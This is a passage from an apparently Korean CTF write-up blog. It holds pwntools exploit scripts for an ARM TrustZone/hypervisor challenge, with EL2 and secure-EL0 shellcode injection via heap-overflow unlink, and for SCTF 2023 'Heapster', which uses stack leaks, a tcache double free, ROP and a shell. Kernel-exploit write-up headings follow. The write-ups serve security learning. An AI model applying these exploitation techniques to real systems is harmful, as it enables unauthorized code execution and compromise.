        shellcode = assembly_or_shellcode
    assert b"\n" not in shellcode and len(shellcode) < (0x1000 - 0xC)

    VA = 0xFFFFFFFFC0002000
    EL2_RWX = VA + 0xC
    EL1_DESCRIPTOR_TABLE_ADDR = 0xFFFFFFFFC001E010
    EL1_DESCRIPTOR = 0x2443

    TARGET_IPA_DESCRIPTOR = 0x40102000 | 0x443 | 0x80
    IPA_DESCRIPTOR = 0x100000 | 0x443
    IPA = 0x2000 | 0x80
    assert TARGET_IPA_DESCRIPTOR == ((IPA + 0x40000000) | IPA_DESCRIPTOR)
    el1_arbitrary_code_execute(
        f"""
        ldr x0, ={hex(EL1_DESCRIPTOR_TABLE_ADDR)};\n
        mov x1, #{hex(EL1_DESCRIPTOR)};\n
        str x1, [x0];\n
        
        mov x0, #1;\n
        ldr x1, ={hex(IPA)};\n
        ldr x2, ={hex(IPA_DESCRIPTOR)};\n
        hvc 0;\n
        
        ldr x20, ={hex(EL2_RWX)};\n
        mov x21, xzr;\n
        mov x22, #{len(shellcode)};\n
        read_el2_shellcode:
            ldr x0, ={hex(EL1_GET_CHAR)};\n
            blr x0;\n
            strb w0, [x20, x21];\n
            add x21, x21, 1\n
            cmp x21, x22\n
            b.lt read_el2_shellcode;\n
        
        mov x0, #1;\n
        mov x1, #2;\n
        mov x2, #3;\n
        hvc 0;\n
        """
    )

    p.send(shellcode)


def make_print_flag_shellcode(
    print_function: int, buf: int | str = "sp"
) -> str:
    assem = ""
    if isinstance(buf, int):
        assem += f"ldr x0, ={hex(buf)};\n"
    else:
        assem += f"mov x0, {buf};\n"

    shellcode = b""
    shellcode += make_shellcode(assem)
    GET_FLAG = [
        0xD53BFC01,
        0xB9000001,
        0xD53BFC21,
        0xB9000401,
        0xD53BFC41,
        0xB9000801,
        0xD53BFC61,
        0xB9000C01,
        0xD53BFC81,
        0xB9001001,
        0xD53BFCA1,
        0xB9001401,
        0xD53BFCC1,
        0xB9001801,
        0xD53BFCE1,
        0xB9001C01,
    ]
    for x in GET_FLAG:
        shellcode += p32(x)

    assem = f"""
    ldr x5, ={hex(print_function)};\n
    blr x5;\n
    
    nop;\n
    """
    shellcode += make_shellcode(assem)

    return shellcode


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
el0_elf = ELF("./el0")

EL2_PRINT_FUNCTION = 0x40101020
el2_arbitrary_code_execute(make_print_flag_shellcode(EL2_PRINT_FUNCTION))

FLAG = p.recvline()
print(f"Flag: {FLAG.decode()}")

S.EL0

취약점은 save_key 의 custom malloc 에 존재한다.
malloc 의 인자로 받는 size 의 align 을 맞추는 과정에서 size 에 더하기를 수행하지만, 그 결과를 검증하지 않아서 Integer Overflow 가 발생할 수 있다. 그러면 메모리 할당 후에 memcpy 를 하는 과정에서 Heap Overflow 가 발생할 수 있다.
이 때 Data Abort 가 발생해도 아무런 문제가 발생하지 않기 때문에 편하게 익스를 할 수 있다.

custom heap 도 free_list 를 가지고 있고 fd 를 통해 freed chunk 를 연결하므로 Heap Overflow 를 통해 free_list 를 변조할 수 있다. 그리고 unlink 를 통해 4byte aaw 가 가능하다.

그리고 위에서 보면 알 수 있듯 SEL0 의 Code 영역은 RWX 권한이다. 따라서 코드 영역을 변조하면 Arbitrary Code Execute 를 할 수 있다.

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_32_shellcode(assembly: str) -> bytes:
    context.arch = "arm"
    context.bits = 32
    context.endian = "little"
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def make_thumb_shellcode(assembly: str) -> bytes:
    context.arch = "thumb"
    context.bits = 32
    context.endian = "little"
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def make_64_shellcode(assembly: str) -> bytes:
    context.arch = "aarch64"
    context.bits = 64
    context.endian = "little"
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(elf.symbols["gets"])
    pl += p64(elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_64_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(elf.symbols["main"] + 0x44)
    pl += p64(elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


def sel0_arbitrary_code_execute(
    sel0_assem: str | bytes, el0_assem: str = ""
) -> None:
    SEL_WSM_ADDR = 0x2400000 - 0x2000
    TCI_BUF = 0x7FFEFFFFE000
    TCI_HANDLE = 0x23FE000

    def tc_tci_call(cmd: int, index: int, size: int, data: bytes) -> str:
        assert b"\n" not in data

        assem = f"""
        movz x1, #{hex(elf.symbols['gets'] & 0xFFFF)};\n
        movk x1, #{hex((elf.symbols['gets'] >> 16) & 0xFFFF)}, LSL #16;\n
        add x0, x28, #0x0C;\n
        blr x1;\n
        
        movz x0, #{hex(cmd)};\n
        str w0, [x28, #0];\n
        
        movz x0, #{hex(index)};\n
        str w0, [x28, #4];\n
        
        movz x0, #{hex(size&0xFFFF)};\n
        """
        if size > 0xFFFF:
            assem += f"""
            movk x0, #{hex(size>>16)}, LSL #16;\n
            """
        assem += f"""
        str w0, [x28, #8];\n
        
        movz x3, #{hex(elf.symbols['tc_tci_call'] & 0xFFFF)};\n
        movk x3, #{hex((elf.symbols['tc_tci_call'] >> 16) & 0xFFFF)}, LSL #16;\n
        movz x0, #{hex(TCI_HANDLE&0xFFFF)};\n
        movk x0, #{hex(TCI_HANDLE>>16)}, LSL #16;\n
        blr x3;\n
        """

        tc_tci_call.data += data + b"\n"
        return assem

    def tc_tci_call_flush() -> None:
        p.send(tc_tci_call.data)

    tc_tci_call.data = b""

    def asm_load_key(index: int) -> str:
        return tc_tci_call(2, index, 0, b"")

    def asm_save_key(index: int, size: int, data: bytes) -> str:
        return tc_tci_call(3, index, size, data)

    pl = b""
    pl += b"a" * 0x18

    pl += p32(0x20)  # prev_size
    pl += p32(0x21)  # size
    pl += b"a" * 0x18

    pl += p32(0x20)  # prev_size
    pl += p32(0x21)  # size
    pl += p32(0x10AE - 12)
    pl += p32(0xD6F241)
    pl += b"a" * 0x10

    pl += p32(0x20)  # prev_size
    pl += p32(0x30)  # size
    pl += b"a" * 0x28

    pl += p32(0)  # prev_size
    pl += p32(0x31)  # size

    if isinstance(sel0_assem, str):
        sel0_shellcode = make_thumb_shellcode(sel0_assem)
    else:
        sel0_shellcode = sel0_assem
    assert b"\n" not in sel0_shellcode and len(sel0_shellcode) <= 0x400
    pl += sel0_shellcode

    el0_arbitrary_code_execute(
        f"""
        ldr x28, ={hex(TCI_BUF)};\n
        
        {asm_save_key(2, 0x10, b'')}
        {asm_save_key(3, 0x10, b'')}
        {asm_save_key(4, 0x10, b'')}
        
        {asm_save_key(4, 0x20, b'')}
        {asm_save_key(2, 0x400, b'')}
        
        {asm_save_key(5, 0xFFFFFFF0, pl)}
        
        {asm_save_key(6, 0x10, b'')}
        
        {asm_load_key(2)}
        """
        + el0_assem
    )

    tc_tci_call_flush()


def sel0_get_flag_assembly() -> str:
    SEL_WSM_ADDR = 0x2400000 - 0x2000

    assem = f"""
    movw r0, #{hex(SEL_WSM_ADDR&0xFFFF)};\n
    movt r0, #{hex((SEL_WSM_ADDR>>16)&0xFFFF)};\n
    mov r2, r0;\n
    """

    for i in range(8):
        assem += f"""
        mrc p15, 3, r1, c15, c12, {i};\n
        str r1, [r0], #4;\n
        """
    assem += """
    mov r1, #0x0009;\n
    add r1, r1, 1;\n
    str r1, [r0], #4;\n
    
    svc #0x00;
    """

    return assem


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
elf = ELF("./el0")

SEL_WSM_ADDR = 0x2400000 - 0x2000
TCI_BUF = 0x7FFEFFFFE000
sel0_arbitrary_code_execute(
    sel0_get_flag_assembly(),
    f"""
    ldr x28, ={hex(TCI_BUF)};\n
    movz x3, #{hex(elf.symbols['puts'] & 0xFFFF)};\n
    movk x3, #{hex((elf.symbols['puts']>>16) & 0xFFFF)}, LSL #16;\n
    mov x0, x28;\n
    blr x3;\n
    """,
)
# b *0x7FFEFFFFD120

FLAG = p.recvline()
print(f"Flag: {FLAG.decode()}")

p.close()

S.EL1

asdf

EL3

asdf

Reference

https://developer.arm.com/documentation/ddi0487/latest/

SCTF 2023 - Heapster

Wed, 23 Aug 2023 10:28:45 +0000

취약점

Validation 함수을 이용해서 Stack의 값을 알아낼 수 있고 PIE, LIBC_BASE, Stack의 주소를 알아낼 수 있다. 또한 Heap에 data 영역을 사용해서 Heap의 주소도 알아낼 수 있다.

익스플로잇

python Exploit


from pwn import *
import struct

# context.log_level = 'debug'

libc_one_gadget = 0xebcf8
libc_pop_rsi = 0x000000000002be51

def conceal_next(pos, ptr):
    return (pos>>12) ^ ptr
def reveal_next(x):
    tmp = x ^ ( (x>>12)&0xfff000000 )
    tmp = x ^ ( (tmp>>12)&0xffffff000 )
    tmp = x ^ ( (tmp>>12) )
    return tmp

def add(index, data):
    p.recvuntil(b'cmd: ')
    p.sendline(b'1')
    p.sendline(str(index).encode())
    p.send(data)
def delete(index):
    p.recvuntil(b'cmd: ')
    p.sendline(b'2')
    p.sendline(str(index).encode())
def print_node():
    p.recvuntil(b'cmd: ')
    p.sendline(b'3')
def validation():
    p.recvuntil(b'cmd: ')
    p.sendline(b'4')

def leak_stack(index):
    add(index, b'a'*8)
    stack_addr = b''
    for _ in range(8):
        for i in range(0x01, 0xff+1):
            add(index, stack_addr + struct.pack("B", i) + b'\n')
            validation()
            result = p.recvuntil(b'.\n')
            if(b'success' in result):
                stack_addr += struct.pack("B", i)
                break
            elif(b'fail' in result):
                continue
            else:
                print("ERROR")
                assert(0)
    add(index, b'\x00')
    return u64(stack_addr.ljust(8, b'\x00'))


######### Open Process and etc. #########
# p = process('./chal')
p = remote('heapster.sstf.site', 31339)
elf = ELF('./chal')
libc = ELF('./libc.so.6')

######### Leak Informations #########
### Leak Stack ###
stack_addr = leak_stack(10) + 8
log.info("STACK : " + hex(stack_addr))
### Leak PIE base ###
# I don't use PIE base address, but I just leak it.
pie_addr = leak_stack(11) - 0x1792
log.info("PIE : " + hex(pie_addr))
### Leak Libc base ###
libc_base = leak_stack(21) - 0x29d90 # __libc_start_call_main+128
log.info("LIBC : " + hex(libc_base))
### Leak Heap ###
# reuse heap used for leak ret and pie.
delete(10)
# now, tcache : 10 || count = 1
delete(11)
# now, tcache : 11 -> 10 || count = 2
print_node()
p.recvuntil(b'->')
heap_addr = reveal_next(u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')))
log.info("HEAP : " + hex(heap_addr))

######### ROP using Double Free #########
### set pop rdi ###
# tcache : 11 -> 10 || count = 2
add(11, b'a'*16)
delete(11)
# now, tcache : 11 -> 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr + 0x20, stack_addr - 0x8)))
# now, tcache : 11 -> (sfp of main) ; 11 || count = 2
add(31, b'a'*16)
# now, tcache : (sfp of main) ; 10 || count = 1
pl = p64(stack_addr + 0x20)
pl += p64(libc_base + libc_pop_rsi)
add(30, pl)
# now, tcache : (null) ; 10 || count = 0
for _ in range(3):
    add(11, b'a'*16)
    delete(11)
# now, tcache : 11 -> 11 -> 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr + 0x20, stack_addr + 0x10 - 0x8)))
# now, tcache : 11 -> (ret+8 of main) ; 10 || count = 2
add(29, b'a'*16)
# now, tcache : (ret+8 of main) ; 10 || count = 1
pl = p64(0)
pl += p64(libc_base + libc_one_gadget)
add(28, pl)

######### Exit main and get shell #########
p.sendline(b'5')

p.interactive()

CTF on Uniguri's Blog

화햇콘 용사부 1등

corCTF2022 corjail

Problem

Environment

Simple description

Module

Vulnerability

Exploit

First approach (using struct poll_list)

Finding victim object

How to spray poll?

SLUBStick

Find another approace

Second approach (using PageJack)

Why PageJack does not work?

Last approach (using struct pipe_buffer and Dirty Page Table)

UAF page to PTE page

Leak physical kernel base

Patch sys_modify_ldt

Exploit code

Reference

AsisCTF2020Qual shared_house

Problem

Enviroment

Features

Vulnerability

Exploit

Trigger off-by-one

Get controlled(UAF) msg_msg chunk

Overwrite free list and allocate arbitrary address via kmalloc

Code

Reference

HITCON2020 spark

Problem

Environment

Module

Vulnerability

Exploit

Trigger UAF

Build fake node

Prevent crash while finalize

Make invalid node table by finalize

Trigger OOB write

RIP control

Exploit code

Reference

DiceCTF2021 hashbrown

Problem

Environment

Module

Vulnerability

Exploit

Make UAF and get controlled entry

AAR/AAW

Find core_pattern and overwrite it

Exploit code

Reference

TokyoWesternsCTF2019 gnote

Problem

Environment

Module

Vulnerability

Uninitialized heap

Double fetch in switch statement

Exploit

Leak kernel base

Exploit switch(__x86_indirect_thunk_rax) using double fetch

Exploit code

Reference

TokyoWesternsCTF2020 eebpf

Problem

Environment

Patch file

Vulnerability

Exploit

Making invalid range

Why e+=8 does make min=8, max=0 ??

Leak struct bpf_map address

AAR/AAW primitives

First approach (using `struct poll_list`)

Last approach (using `struct pipe_buffer` and Dirty Page Table)

Overwrite free list and allocate arbitrary address via `kmalloc`

Why `e`+=8 does make min=8, max=0 ??

Leak `struct bpf_map` address